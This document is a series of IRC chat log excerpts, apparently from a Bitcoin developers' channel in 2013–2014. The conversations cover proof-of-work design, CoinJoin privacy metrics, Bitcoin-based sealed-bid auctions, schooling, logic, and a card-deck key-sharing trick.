04:41 < gmaxwell> Amiller suggests that if the network would accept instead of a block you submit a zero knoweldge proof that you know of a block at this position and would like to instead pay some other address. .. so anyone running a miner can trivially steal solutions.
04:42 < gmaxwell> I think it would "work" ... but it runs into problems like right now people happily give money to cloud hasing places without any evidence at all that the cloud place isn't robbing them blind.
04:42 < adam3us> gmaxwell: i wonder if momentum could work (the proof of work based on birthday collisions) we laughed at its failures but perhaps it is fixable
04:43 < adam3us> gmaxwell: seemingly a defacto proof that technical approaches have limited effect on the stupid or careless shall we say
04:43 < gmaxwell> e.g. amiller's design would totally kill pooled mining, with a possible outcome of all hashing being cloud hashing... because at least a huge centeralzied place has a reputation to protect.
04:47 < adam3us> so about momentum briefly. i could find no proper description of it but basically the idea is the entries in the memory table are themselves small proofs of work (25-bit?), and then the task is to find H(a)=H(b) and finally H(a,b) < target now i think the thing is the target is high enough that memory is filled quickly
04:47 < adam3us> (though i see no reason restricting memory)
04:47 < adam3us> otherwise it suffers from quadratic advantage in fast cpu & ram
04:48 < adam3us> as well as compact storage
04:48 < adam3us> (eg lossy storage like bloom filter to do a tmto to fit it into a gpu)
04:48 < gmaxwell> I'm not sure how this helps anything. I follow that you can probably set the parameters so that it doesn't create an advantage for being a larger hasher.
23:48 < midnightmagic> petertodd: they measured that which was measurable: mathematics improvements between entry and exit grades for schools
23:48 < midnightmagic> .. lol now now. the research they do is better than forming opinions in a vacuum
23:48 < petertodd> midnightmagic: ah, so they measured improvements, who had the higher scores exiting?
23:49 < gmaxwell> petertodd: not all opportunities are equal to all. I mean sure, some child of some inner city gang bangers could have traveled 4 mi the the nearest library with internet access back in 2010, and joined #bitcoin and written some bad poetry for a thousand bitcoin and be a millionaire now. But none did.
23:49 < midnightmagic> petertodd: public schools had grrater improvements when co paring identical students with identical backgrounda.
23:49 < petertodd> midnightmagic: just as easily you can explain that as private school kids started off smart and couldn't be educated much farther, or more importantly, they had better things to do with their time than focus on math improvements
23:50 < midnightmagic> petertodd: nope. they selected those ones out
23:50 < justanotheruser> midnightmagic: are you saying that schools should be segregated by income?
23:50 < gmaxwell> justanotheruser: they are already segregated by income.
23:50 < midnightmagic> as much as it's possible to know such things, there's now basically zero reason to think private schools provide a better education
23:50 < justanotheruser> gmaxwell: they bus students from poor schools to rich schools in some states
23:51 < midnightmagic> justanotheruser: nope. i'm saying private schools are lying when they claim to provide superior education
23:52 < petertodd> gmaxwell: heh, well, OTOH I know a guy from nairobi who did something not unlike that... moral of the story is raw opportunities actually don't do much in the face of culture and parents, and those are likely strongly geneticly related in many ways anyway.
23:53 < gmaxwell> okay, sure, I was also binning culture and parents in with opportunities. It's not like its your fault what parrents you had.
23:53 < midnightmagic> yes. adoptions help a lot with those kinds of studies too.
23:53 < midnightmagic> pretty fascinating how much people seem to be screwed if born to poor parents.
23:54 < petertodd> gmaxwell: yup, my point being blaming "society" for that kind of thing is misguided - we already do a tremendous amount
23:54 < gmaxwell> ::shrugs:: part of creating an optimally successful society is providing the infrastructure that helps people achieve their capability even if they're born into a dysfunctional family (and help family dysfunction not exist).
23:54 < petertodd> midnightmagic: gee, might have something fundemental going on...
23:55 < midnightmagic> petertodd: yeah, probably not straight genetics. some is, but parentage makes up for a lot of that. i.e. the success breeds overconfidence false loop
23:55 < petertodd> gmaxwell: yup, and frankly I *do* think we do a very good job of that and it's hard to figure out how to actually do a better job of it in most situations. I also think our effects, especially in schools, to further level the playing field are counter-productive - e.g. closing gifted programs in favor of yet more money at the lowest scoring percentile.
23:56 < midnightmagic> imo that kind of nonsense is b-s
23:56 < midnightmagic> closing gifted student programs?! wtf
23:57 < gmaxwell> well you are in canada. So perhaps things are better done there. :)
23:57 < midnightmagic> i'll let you know. i personally appear to be one of those weird outliers.
23:58 < gmaxwell> midnightmagic: "no child left behind" (a 2001 piece of education legislation and the resulting programs) in the US is often wryly refered to as "no child gets ahead"
23:58 < petertodd> midnightmagic: well, that's how the politics of it works. I know the people running the program where I lived then fought for years to keep it open, and always had to be very careful as to how it was portrayed - specifically they stressed heavily how the kids who were in the program statisticly did *worse* than the general population for a lot of different
metrics, such as university admissions.
23:58 < midnightmagic> lol
23:59 < petertodd> midnightmagic: basically anything to avoid looking elitist
23:59 < midnightmagic> s art kids need a challenge or their study habits are nonexistent. yeah that makes sense what you're saying.
23:59 < gmaxwell> Se also: http://en.wikipedia.org/wiki/No_Child_Left_Behind_Act#Effects_on_school_and_students
23:59 < gmaxwell> er see*
--- Log closed Wed Jan 15 00:00:03 2014
--- Log opened Wed Jan 15 00:00:03 2014
--- Day changed Wed Jan 15 2014
00:00 < petertodd> midnightmagic: heh, well with a challenge that was true too, but anyway :P
00:00 < andytoshi> gmaxwell: i can say from personal experience that public schools in BC are not run effectively, they are very much "no child gets ahead" and they were an absolute hell to get through
00:00 < midnightmagic> hehe
00:00 < gmaxwell> I know a number of _good_ high-school teachers who left teaching due to the effects of that legislation.
00:00 < petertodd> gmaxwell: can't blame them, that stuff is just depressing to deal with
00:00 < midnightmagic> andytoshi: you think so? i had the exact opposite experience in BC
00:01 < andytoshi> midnightmagic: i was in cloverdale, it is the cowboy town beside langley, they had no gifted programs
00:01 < midnightmagic> vancouver. interesting.
00:02 < andytoshi> midnightmagic: i finished every hs math class by the end of grade 9, then no more math. 'science' was watching bill nye videos and doing handouts, i was typically done the work for the day in about 15 minutes, then 6 hours or so of staring at walls
00:02 < midnightmagic> i was in the interior, they specifically pushes the smart kids into beneficial grade programs for university entrance.
00:02 < andytoshi> midnightmagic: eventually i found some good teachers who helped me game the system, and i got out 18 months early
00:02 < petertodd> andytoshi: ha, ironic how my highschool was a "inner city" one with a population of almost entirely recent immigrants, very pool, with significant gang violence and... I had a much better experience
00:03 < andytoshi> 2 years early* i stuck around to finish my phys. ed. requirements :P
00:03 < andytoshi> so i don't count that semester as hs
00:03 < petertodd> andytoshi: and then my brother was in a hs in one of the richest parts of the city, upper-upper-middle-class, and... actually lots of gang violence *in* the school, and shit academics.
00:03 < andytoshi> petertodd: fascinating
00:04 < andytoshi> there is a lesson here about anecdotal evidence i'm sure :)
00:04 < midnightmagic> my hs teachers did the optional calculus prep stuff. probably for my specific benefit actually, the rest of the kids were rolling their eyes.
00:04 < andytoshi> maybe we should apologise to midnightmagic for calling his sociologists stupid
00:04 < petertodd> andytoshi: hehe, toronto is not a good source of typical demographic data :)
00:04 < midnightmagic> lol a.k.a. my wife.
00:04 < midnightmagic> no apology necessary, it's a well studied ohenomena.
00:04 < midnightmagic> er.. *non
00:05 < petertodd> andytoshi: over 50% of the toronto population wasn't even born in canada
00:06 < midnightmagic> well, without immigration our pop would be shrinking. :-)
00:06 < midnightmagic> would suck if canada died.
00:06 < andytoshi> petertodd: this is true of vancouver as well, though probably not in cloverdale where i was
00:06 < gmaxwell> Oh I GEDed out of school the moment it was permitted, in florida by statute the GED is absolutely equivalent to a highschool diploma
you even get the same paper the normal graduates get. Was kind of of no brainer. I took the test cold two days after my birthday (earliest time offered) scored a 99th percentile. It was trivial stuff. ::shrugs:: I understand
that it wasn't too uncommon to do this in the 70s but the schools fought ...
00:06 < gmaxwell> ... back against it with a bunch of FUD because it was draining them of their most academically capable students.
00:06 < andytoshi> oh, cloverdale is right above white rock, from silk road hitman fame :)
00:07 < andytoshi> so i'll stop saying 'near vancouver' here
00:07 < petertodd> andytoshi: what's the kind of immigrants that vancouver gets anyway? asia? middle-east?
00:07 < midnightmagic> andytoshi: i'm confident nobody thinks you're that guy lol
00:07 < midnightmagic> ha ha ha awesome
00:07 < midnightmagic> petertodd: asian, then east indian
00:07 < gmaxwell> I was impressed by the density of asian people in vancouver.
00:07 < andytoshi> petertodd: east asia, mostly china and phillipines, then india
00:08 < petertodd> gmaxwell: sheesh, that kinda sucks that you were in a position where that made sense
00:08 < midnightmagic> richmond doesn't even have english signage in some places.
00:08 < petertodd> andytoshi: oh, interesting, toronto seems to get much more from the middle east
00:09 < midnightmagic> gmaxwell: how old were you re: GED?
00:09 < midnightmagic> (wife is curious)
00:09 < gmaxwell> 16.
00:09 < petertodd> andytoshi: OCAD had a *tonne* of Iranians for instance
00:09 < midnightmagic> nice.
00:09 < andytoshi> gmaxwell: that's awesome, i wish i had that option
00:09 < andytoshi> maybe i did, it didn't occur to me
00:10 < midnightmagic> i skipped a grade, grad'd at 17. skipping a grade was really horrible. not recommended.
00:10 < midnightmagic> petertodd: what's OCAD?
00:10 < andytoshi> petertodd: interesting, i've only met one iranian
00:10 < petertodd> midnightmagic: I think one of the things the gifted program did a good job at was giving kids reasons not to skip grades...
00:10 < midnightmagic> I love Iranians they're awesome
00:10 < petertodd> midnightmagic: http://www.ocadu.ca/ <- art school I went too
16:45 < amiller> it says that the inputs are all linked together because they're in the same wallet
16:46 < amiller> that really isnt true, coinjoin makes use of the fact that's not true, you can sign a tx if you know one of the txinputs without knowing the other keys
16:46 < amiller> nor is it the case that the output is linked to the input
16:46 < amiller> coinjoin relies on that too
16:47 < gmaxwell> Yes, this was written by someone who didn't know about CoinJoin
16:47 < amiller> the only advantage of this thing is the incrementalness and that's kind of irrelevant
16:47 < gmaxwell> As a pure anonymity tool I think this is not very helpful over coinjoin. Agreed.
16:48 < gmaxwell> it's a little helpful because its more loosly coupled.
16:48 < gmaxwell> But the anti-censorship, pro-relaying, and compression properties are potentially more interesting.
16:49 < gmaxwell> my reply points out that its not that interesting for anonymity.
16:49 < gmaxwell> "I'm glad to see someone with an aggregate signatures proposal. From an anonymity perspective, I believe a cryptographic approach is unnecessary, and they are very difficulty to deploy, but still may useful in the future."
16:52 < gmaxwell> amiller: one sort of annoying property is that in some cases this can't achieve anonymity as good as coinjoin!
16:53 < gmaxwell> E.g. all the users for this block join a coinjoin, they use a SMPC sort to distribute their requested output addresses among each other.
16:54 < gmaxwell> There is no way to achieve that level of anonymity with this one way aggregation scheme.
16:56 < gmaxwell> amiller: you could reply to that thread and point out they got the linking stuff wrong. :)
16:56 < amiller> *am already doing so*
16:58 < gmaxwell> (I didn't even notice, I'm so used to _everyone_ getting that wrong)
17:01 < jgarzik> http://io9.com/a-new-digital-world-is-emerging-thats-too-fast-for-us-1286428447
17:01 < jgarzik> The problem, however, is that this new digital environment features agents that are not only making decisions faster than we can comprehend, they are also making decisions in a way that defies traditional theories of finance. In other words, it has taken on the form of a machine ecology
one that includes virtual predators and prey.
17:01 < jgarzik> Consequently, computer scientists are taking an ecological perspective by looking at the new environment in terms of a competitive population of adaptive trading agents.
17:01 < jgarzik> "
17:03 < gmaxwell> jgarzik: did you ever see the textbook on amazon that was a billion dollars?
17:04 < jgarzik> heh, saw a screenshot
17:05 < jgarzik> one of the many Themes Garzik Harps On is that computer scientists should be looking at biology for models, theories, and correlations
17:06 < jgarzik> distributed computing, especially decentralized computing, is all about organic behaviors like herds, infections and inoculations, swarms, emergent behaviors, ...
17:07 < jgarzik> Just like human beings, they stop being purely predictable engineering systems behaving within set parameters and become organic feedback systems
17:08 < jgarzik> A really fun problem is decentralized auctions, eBay-style
17:08 < jgarzik> How to fairly handle the final few seconds of a real time auction?
17:09 < jgarzik> sniping is a DoS of sorts
17:09 < gmaxwell> yea, "don't hold that kind of auction"
17:09 < gmaxwell> if you do sealed bid auctions the problem goes away.
17:09 < jgarzik> or Dutch
17:13 * jgarzik wonders the name for this style of auction: wait X duration after last bid, then close auction. if someone bids, timeout clock resets to X.
17:18 < jgarzik> How to integrate bitcoin with a sealed bid auction, in a least-trust method? Is there any way to (a) prove you will spend the funds if you are the winner while (b) not spending the failed bids?
17:18 < gmaxwell> yes, make all the bid transactions conflict a single input. Only one can make it into the blockchain.
17:18 < jgarzik> Certainly an auction robot could accept bids, then refund the losers. Any way to avoid the robot stealing the funds from the failed bids?
17:19 < jgarzik> conflict?
17:19 < gmaxwell> They all spend input X.
17:19 < gmaxwell> (and other inputs to pay for their bid)
17:19 < jgarzik> seems vulnerable to griefing
17:20 < gmaxwell> easy to fix.
17:20 < gmaxwell> (I think).
17:21 < gmaxwell> The person selling the thing has 1 BTC. You are a bidder ... you write a transaction spending that 1 BTC and he signs for it.
17:21 < jgarzik> My naive scheme: robot announces "private key for 1 satoshi is $this" to channel, and everyone writes a transaction that spends a satoshi + their auction bid input
17:21 < gmaxwell> if the signature is a SIGHASH_SINGLE then he doesn't have to see your bid.
17:21 < jgarzik> but a griefer might just spend the bitcoin outside of the loop
17:22 < jgarzik> ah, duh
17:22 < jgarzik> no need to give out the private key, just have auctioneer sign it. understood.
17:23 < jgarzik> neat
17:23 < jgarzik> auctioneer announces the anchor transaction for the auction (the input everyone spends), and people bid from there
17:26 < jgarzik> This would be a fun demo to write. A little HTTP-based auction server, modeled after bittorrent trackers. Just keep track of abstract metadata on the auction, zero content (for privacy / deniability).
17:27 < gmaxwell> now a tricker thing to do is to make it into a secure _second price_ auction.. now that I don't know how to do. :P
17:27 < gmaxwell> (thats a sealed bit auction where the highest bidder pays the next highest price)
17:29 < jgarzik> I think the "bid-extends-timeout" solves the game theory motivation to DoS in the final seconds of the auction
17:30 < jgarzik> unfortunately, IIRC, bid-extends-timeout was also used on a couple notable click-lottery "buy a plasma TV for $75!" pseudo-auction sites.
17:31 < gmaxwell> I think either sealed bids or bid extends timeout solves the dos. sealed bids also discourage self dealing. (e.g. the seller bids up the bidders to try to get them to bid more, if he accidentally wins, oh well, no biggie)
17:32 < jgarzik> petertodd, I need to get a little demo website going, that helps people timestamp their SINs
17:32 < jgarzik> for a tiny fee, of course
17:32 < jgarzik> gmaxwell, good point
17:33 < jgarzik> gmaxwell, from my reading it sounds like sealed-bid and Dutch might tend towards a slightly lower final price than eBay style
17:33 < jgarzik> so economics might pull sellers towards ebay-style / bid-extends
17:34 < jgarzik> -EFAMILY. Might write that HTTP server tonight, hmmm :) *poof*
17:34 < gmaxwell> The economics wanks will tell you that the sealed bid second price auction is the optimal thing. They even gave someone a nobel prize for it.
17:35 < gmaxwell> But since I dunno how to make a direct bitcoin one of those... simpler is probably better. :P
17:59 < gmaxwell> This stanford pairing based crypto library is pretty nice.
18:30 < gmaxwell> Okay, I've successfully got that signature scheme working.
18:51 < maaku> jgarzik: except for some minor warts ebay is a Vickrey auction, which is ideal for both buyer and seller (the proof won Vickrey the nobel prize gmaxwell alluded to)
18:56 < maaku> jgarzik: you might also be intersted in : http://www.eecs.harvard.edu/~shieber/Biblio/Papers/icec06.pdf
19:04 < gmaxwell> maaku: hm? how is ebay a vickrey auction? it's not sealed, the winner is the highest price and pays their offered price.
19:05 < nanotube> gmaxwell: nope. you can set a max bid of 1000, but you'll only pay a bit above second highest.
19:05 < nanotube> and nobody will learn what your sealed bid is, until you're outbid.
19:05 < gmaxwell> oh! of course, that proxy biding makes it effectively second price (plus bid increment)
19:05 < nanotube> so you /could/ use it as a plain second-price sealed bid auction - just post your maximum, walk away.
19:06 < nanotube> that people don't and try to snipe and crap is just how people are. :P you don't have to join them.
19:06 < gmaxwell> maaku: nanotube: thanks, I didn't realize that before. (You can tell I haven't used ebay much ever and not at all recently)
19:07 < nanotube> mm :)
19:07 < gmaxwell> okay, well, I dunno how to do that with bitcoin without a trusted party or non-trival multiparty computation.
19:07 < gmaxwell> a simple auction where people throw out bids and only one happens is easy however.
19:08 < nanotube> what's your scheme, briefly, for doing th latter
19:10 < gmaxwell> nanotube: Alice holds an auction, alice advises everyone of some bitcoin she holds and an address to pay to. You want to bid. You write a transaction spending some of your coins and alice's coin that pays to alice (and if any chance back to you). You sign it and give it to alice.
19:10 < gmaxwell> all the other bidders do the same.
19:10 < gmaxwell> When alice gets bored, she signs and announce the transaction.
19:11 < nanotube> ah, cute! and obv there's no way to force alice to sign second highest bid rather than highest....
19:12 < gmaxwell> well you want the highest bidder to pay the second price. :P
19:12 < gmaxwell> it's easy to do with a semitrusted oracle.
19:13 < gmaxwell> e.g. Oscar the observer watches the bids and his signature is required for the auction to be completed.
19:13 < gmaxwell> and then oscar can enforce whatever rules he likes.
19:13 < nanotube> well, the good part is that theory says (as i recall) that the expected proceeds are the same from a second price or a first price auction
19:13 < gmaxwell> I though first price encouraged bidders to underbid?
19:13 < nanotube> in expectation, in a second price auction people have the incentive to bid their true value. in first price, bidders shade their bids
19:14 < nanotube> but "on average" they should produce the same outcome, price-wise
19:14 < nanotube> at least if i recall my auction reading correctly. been a while :)
16:11 < andytoshi> nsh: you can always study set theory if this dichotomy bothers you ;)
16:13 * nsh smiles
16:14 < nsh> (set-theoretical approches, e.g. fuzzy logic, are still fundamentally predicated upon bivalent membership identity, and can do more than concealing the dichotomy at a lower level of analysis)
16:16 < nsh> (a really non-binary system of logic has values that are qualitatively different to truth and falsity, rather than shades of the two)
16:18 < andytoshi> i meant, you can reject the law of excluded middle and do logic that way..
16:19 < andytoshi> i don't know what field those people claim to be part of
16:19 < andytoshi> without making any claims as to what's in the middle
16:20 < andytoshi> hmm, you're still right, it's either true or not --- and false or not
16:20 < andytoshi> perhaps you should study zen then
16:24 < nsh> it's not just the law of the excluded middle. that's one pillar of bivalence. the other is the law of non-contradiction. every A is A, no A is not-A
16:25 < nsh> it's difficult to imagine a system without the law of non-contradiction. whether this is a reflection of a universal truth [sic] or a result of our historical mathematical/logical/linguistic enculturation is an open question :)
16:25 < jtimon> A + 0 = A, A + 1 = 1
16:27 < andytoshi> you don't need much in the way of axioms for a single contradiction to imply every statement is true..
16:28 < andytoshi> so it's definitely baked pretty hard into historical logic
16:28 < andytoshi> i'm not familiar with the attempts to fix this non-robustness
16:29 * nsh nods
16:31 < nsh> there is a body of work due to Lukasiewicz but it's accompanied by an unfortunate tendency of later thinkers to reduce it back to bimodality
16:33 < nsh> More recently A. S. Karpenko. it's my occasional hobby to casually read up on it, but more slips past me than sticks, as with most matters
16:35 < nsh> discussed in some detail here: http://www.oocities.org/m_valuedlets/tranche4.html but unless you have predilection to wading through schizoform word salad it might not be much use to you :)
16:36 < andytoshi> 'fraid not :)
16:36 < nsh> fair enough
16:52 <@gmaxwell> pigeons: I thought beertoken was backed by some promise to deliver beer (not just one bottle, but some larger quantity as set by some kind of board or something)
16:59 <@gmaxwell> jtimon: I've seen a number of pretty concerning technical behaviors from coinbase, so I'd believe any random thing.
17:58 < pigeons> gmaxwell: there wasn't a beertokens comittee, it was just steve, and yes like all these things from silver certificates to mtgox usd it ultimately comes down to a promise
17:58 < pigeons> the promise was to redeem each beertoken for one bottle of a specific type of beer that steve liked and was common in thailand where he lived
17:59 < pigeons> but he didnt buy the beer and refrigeration and storage, he backed it with bitcoins, which brought up a problem as bitcoins decreased in value a lot from when he set them aside
17:59 < pigeons> he ended up buying more coins to make up the difference
18:01 < pigeons> and guys, BigDataBorat says "My contact at Coinbase say use of MongoDB strictly for reason of give client plausible deniability."
18:01 < pigeons> https://twitter.com/BigDataBorat
18:01 <@gmaxwell> what the heck does that mean?
18:02 < pigeons> "Estimate of MongoDB's value vary, one replica say $700m, one replica say $1.2 billion, one replica say 1.5 billion."
18:02 <@gmaxwell> "when we stole all the coins we could plausably deny it being theft?"
18:02 < pigeons> yes that's what it means
18:03 < Luke-Jr> lol
18:04 < nsh> hi orperelman. i liked your work on the poincare conjecture
18:04 < nsh> thanks for inventing bitcoin :)
18:05 < nsh> (i'm not personally sure ricci flow with surgery is a valid technique, but i'm not a topologist)
18:48 < maaku> andytoshi: isn't that constructivist math? (removing the law of excluded middle)
19:06 < andytoshi> maaku: yeah, that's the name for doing mathematics that way (e.g. rejecting proofs by contradiction)
19:07 < andytoshi> there are subsets of logic (which i have ~0 knowledge of) which do things like fuzzy logic and try to make this concrete
19:08 < andytoshi> my girlfriend was into constructivist math for a short while, not believing in anything that wasn't computable
19:08 < andytoshi> but it's nearly impossible to do a lot of classical mathematics that way
19:22 < nsh> depends how you define "doing mathematics"
19:22 < nsh> :)
19:23 < nsh> as a pursuit of noble platonic truths, or as a means towards solving practical problems...
19:24 < nsh> i'm not sure there are many engineering artifacts that are based predominently on an existential proof
19:24 < nsh> hmm, not so sure, now i think about it a bit more
19:53 <@gmaxwell> they're not unrelated.
19:53 <@gmaxwell> if you find some totally abstract "noble platonic truth" it can be a bridge that solves a pratical problem.
19:53 * nsh nods
19:55 <@gmaxwell> e.g. there is a bunch of NP proof stuff where you can show a proof system is sound by reducing it to a 2d graph coloring problem, and then show that if the system is unsound it would contradict four coloring, which otherwise is kinda useless trivia.
19:56 < nsh> right, came across that recently in a talk, funnily enough
21:44 < maaku> but ultimately you have to reduce it to be constructivist to enter the realm of engineering
21:45 < maaku> e.g. if you look at real numbers constructively, you get this funny think called numerical analysis ...
21:47 < nsh> analysis was pretty practical when it came to aiming canon :)
21:48 < nsh> computers are still named after the art of ordinance in french...
21:55 < nsh> (philosophically, it fascinates me that the assumption of the continuum, even though actual algorithmic infinities are avoided, yields such powerful results in anaylsis. we can calculate things in continuuous sets that would suffer combinatoric explosion over discrete structures...)
21:56 <@gmaxwell> Stirling's approximation <3
21:57 < phantomcircuit> wtf
21:57 <@gmaxwell> being able to answer questions like from an infinite distribution of 50/50 true/false how likely is it you'd draw 30 and get 5 true... answering it combinitorically is impossible.
21:57 < phantomcircuit> i just noticed google wallet is still using checkout.google.com
22:00 * nsh nods
--- Log closed Sun Dec 22 00:00:17 2013
--- Log opened Sun Dec 22 00:00:17 2013
03:36 < Emcy> ccc.de tls 1.0 1024bit rsa
03:36 < Emcy> and my browser doesnt trust the CA anyway :/
03:37 < Emcy> "Besides the usual digital infrastructure with Wifi, telephone etc., 30C3 will feature for the first time a pneumatic tube system, with the pretty name Seidenstrasse."
03:37 < Emcy> wut
03:39 <@gmaxwell> oh fun, something BIP32 like cannot be used with ed25519.
03:40 <@gmaxwell> or rather, not with standard implementations.
03:40 <@gmaxwell> they rig the multiplier so that the most significant bit must always be 1.
03:41 < Emcy> whats ed25519 again
03:50 < maaku> Emcy: DJB's crypto
03:51 < maaku> gmaxwell: can ed25519 be easily modified to make it work?
04:06 <@gmaxwell> maaku: the curve is fine, the constant time multipler implementation
04:21 <@gmaxwell> y'all see the deck of cards secret key agreement thing? brillant.
04:24 <@gmaxwell> Take a regular deck of cards. Shuffle it. Then split the deck in half. I give you one half, I take the other. Tada. We now have a ~51 bit shared secret
each card either ended up with you or me (we lose a bit from the definition of who is 1/0 being arbritary)
04:31 < maaku> gmaxwell: yeah i posted in the armory thread that a shuffled deck of cards makes a good inconspicous private key
04:31 < maaku> and 51 bits for a shared secret is plenty good enough for many protocols
04:33 <@gmaxwell> maaku: damn, and when I moved I think I tossed a box with like 50 decks of cards in it. (marketing swag from my prior employer, two corporate brandings old)
04:33 < maaku> if i ever worked border security, i'd shuffle any deck of cards I come across
04:33 <@gmaxwell> the shuffling isn't required!
04:33 <@gmaxwell> if you split a deck then just membership in one person's side or the other is the data! not the permutation!
04:36 <@gmaxwell> works with two decks too. e.g. take two decks shuffle and split. then membership in one side or another is the key though you lose a quite a few bits there due to dupes. (e.g. log2(3^52)=82.4 minus 1 bit for parity... three states, because both cards ended up on one side, or both on the other, or each person had a card)
04:37 <@gmaxwell> and the permutation doesn't matter.
04:39 <@gmaxwell> the bummer is that cards aren't printed on both sides. if they were inputting your key would be easy: just spew the cards out on a table and take a picture.
04:47 < maaku> gmaxwell: reverse theorientation of one deck
04:48 < maaku> or use different colored back
04:52 <@gmaxwell> yea, that gets you some more bits, but I guess it's not so hard to place all the cards face up for photographing.
04:55 < petertodd> also worth considering that there are tonnes of common games in card format that can be used for this stuff, IE magic the gathering cards have well-defined "multiverseid's" worth at least a few bits each, and a deck's contents can be turned into the key based on a sorted list of all such card ids
04:55 < petertodd> though the border guards would probably be wondering why a guy as cool looking as myself has MTG cards; I'd have to explain it was for a friend
04:56 <@gmaxwell> petertodd: the thing that I found neat was just that you could convey so many bits by which side got the card, and be completely robust to ordering
04:57 <@gmaxwell> it means that I can keep a stack of sealed cards in by bag. meet you, totally unprepapred, open the cards shuffle split, and we walk away with a relatively easily entered shared secret that doesn't look too conspicious
01:33 < andytoshi> so if we can efficiently loop through these partitions we can brute-force the problem from here ... provided we have fewer than, say, 45 inputs and 45 outputs
01:33 < gmaxwell> there is probably some trivial greedy preprocessing that can be done.
01:34 < gmaxwell> Obviously you should merge all inputs with the same scriptpubkey and all outputs with the same scriptpubkey.
01:34 < gmaxwell> and force any input/output pair with the same scripubkey to be connected, perhaps, (e.g. just remove the output and deduct the input)
01:35 < andytoshi> oh, this is true .. coinjoin already merges outputs, but it doesn't have knowledge of the inputs
01:35 < gmaxwell> well your coinjoin does, but of course I was thinking in terms of an abstract tool that could be run on any transaction.
01:36 < CodeShark> are we talking generalized coin selection optimization?
01:36 < gmaxwell> then there may be other outputs which are forced which I think can be found in a greedy way.
01:36 < gmaxwell> hm.
01:36 < CodeShark> or is this some specific problem?
01:37 < andytoshi> CodeShark: we are looking at "given some transaction, what is the maximum possible number of participants?"
01:37 < gmaxwell> CodeShark: no, talking about taking a transaction and identifying the maximum number of coinjoin participants under reasonable constraints.
01:37 < gmaxwell> (reasonable constraints like the CJ participants not giving away their money)
01:38 < gmaxwell> CodeShark: e.g. what is the largest plausable number of participants in this transaction: https://blockchain.info/tx/a0350aa856b77edeaa08ae9df5047855d487c40490d11713461d200ea70b09c6
01:39 < CodeShark> so the minimum is obviously one, the maximum is the number of inputs with distinct redeemscripts, yes?
01:40 < andytoshi> well, if there are fewer outputs than inputs, then the total number of outputs could be the maximum
01:40 < gmaxwell> CodeShark: nah, because there may be no plausable flow. For example, say you had 10 distinct inputs.. and 1 output. There is only one participant (under reasonable constraints)
01:41 < CodeShark> ok, so maximum = min(distinct input scripts, output scripts)
01:41 < gmaxwell> nah, because if you constrain them to not throw away values you must look at the values.
01:42 < andytoshi> no, there still might not be a plausible flow .. eg if there are 10 inputs and 10 outputs
01:42 < gmaxwell> Say you have 50,.5,.5 in and 25,25,1 out.
01:42 < andytoshi> and one input is massive, all the others are 0.1, and every output is 0.2
01:42 < gmaxwell> In that case you have a maximum of 2.
01:42 < CodeShark> right, my bounds were very weak
01:43 < gmaxwell> yea, you're giving loose bounds, we want the tight maximum bound. As its a measure of privacy the coinjoin provides.
01:43 < andytoshi> it would be nice if 1 wasn't always plausible :)
01:44 < andytoshi> even a lower bound would be useful if it was nontrivial
01:44 < CodeShark> what if we simply required all inputs to be the same value? then each participant would first have to create outputs of specific denominations
01:44 < CodeShark> and join a transaction of a particular denomination
01:44 < gmaxwell> 1 being plausable is good because its also what makes ordinary txn look potentially like CJs. :P
01:44 < CodeShark> yeah, ok :)
01:45 < andytoshi> CodeShark: well, that makes CJ's stand out, and it's also easy to work around by just going back one layer in the transaction dag
01:46 < gmaxwell> andytoshi: hm. interestingly, I think the maximal maximal count may not always have the highest entropy!
01:46 < andytoshi> and then you've even got free association information from the homogeonizing transactions
01:46 < andytoshi> gmaxwell: that is interesting, and that feeling is why i don't think we can do this 100% greedily
01:46 < andytoshi> but for me, for now, it is just a feeling ..
01:48 < CodeShark> I'm not even entirely clear on coin selection optimization within a single wallet, let alone coinjoin :p
01:48 < andytoshi> well, coin selection (to evade this analysis) is an even harder problem, i think
01:49 < CodeShark> if we want coinjoin to be obscure, we want it to mimic typical coin selection strategies for common wallets
01:49 < gmaxwell> can't
goals are to different, instead wallets should mimic coinjoins. :)
01:49 < gmaxwell> s/to/too/
01:49 < gmaxwell> coinjoins can't be fully obscure simply because >2 outputs are rare.
01:51 < CodeShark> yeah, true - and while there's a good use case for sendmany from servers, for typical interactive users, these use cases are more rare
01:52 < gmaxwell> andytoshi: e.g. there may be some mapping that gives you N users but is unique, e.g. only 1 N user path between inputs and outputs. But then there is some <N mapping where it is non-unique.
01:53 < andytoshi> oh, fascinating
01:53 < andytoshi> what on earth can we say about that?
01:53 < andytoshi> about its anonymity*
01:54 < gmaxwell> well for a coinjoin over all you could just count all plausable mappings (for all possible N) and the coinjoin's entropy is log2(that).
01:55 < gmaxwell> e.g. 50,.5,.5 in and 25,25,1 out has an entropy of 1 bit.
01:55 < andytoshi> hmm, if that is the most useful metric than it saves us the trouble of doing all this optimization
01:56 < gmaxwell> I dunno that it does, because you still have to reject impluausable mappings.
01:56 < andytoshi> if we loop over every possible mapping, that's easy, just a bunch of addition
01:57 < gmaxwell> Finding the maximum N is just a subset of the problem.. it's just the highest N for which there remain any plausable mappings.
01:58 < andytoshi> yeah, but we can use a weak upper bound for N in this case
01:59 < andytoshi> i wonder if we want to compute something sharper: the entropy of the individual outputs
01:59 < andytoshi> (it's really not clear to me how to define that)
02:00 < gmaxwell> the interesting thing about output entropy is that it's not independant.
02:01 < gmaxwell> e.g. output X could have come from input 2 if and only if output Y didn't.
02:02 < andytoshi> we can arrange these possibilities in a giant decision tree, and compute some sort of entropy on that..
02:03 < andytoshi> there is also something called mutual information
02:03 < gmaxwell> I guess measuring per output has some useful properties.. since in a wallet you'd want to know e.g. which of your inputs are tainted.
02:03 < andytoshi> http://mathoverflow.net/questions/88364/is-this-a-situation-where-triple-mutual-information-is-always-non-negative
02:04 < gmaxwell> andytoshi: I'm trying to come up with a "conservative" version of it which isn't trivial.
02:04 < andytoshi> (this was a question my supervisor asked about whether he could apply some tool called 'diversities' (i have a single-author paper on the analytic properties of these) to computing mutual information
02:04 < gmaxwell> E.g. assume the attacker knows "a lot" about the other outputs, what is your entropy. The problem with that is that the obvious form of a lot is "knows all the other outputs" in which case the entropy is 0
02:05 < andytoshi> now, what this tells you is that "all the other outputs" is strongly coupled to your output
02:05 < andytoshi> maybe you want to know, how strongly are my various outputs coupled to each other?
02:06 < gmaxwell> andytoshi: multial infomation is just the joint entropy minus the conditional entropies.
02:07 < gmaxwell> andytoshi: well I'd like to be able to answer how tightly my keys (inputs or outputs) are coupled after a transaction. So that I can decide to group the keys and freely merge them in future txn if they are too tightly coupled.
02:07 < nsh> hmm
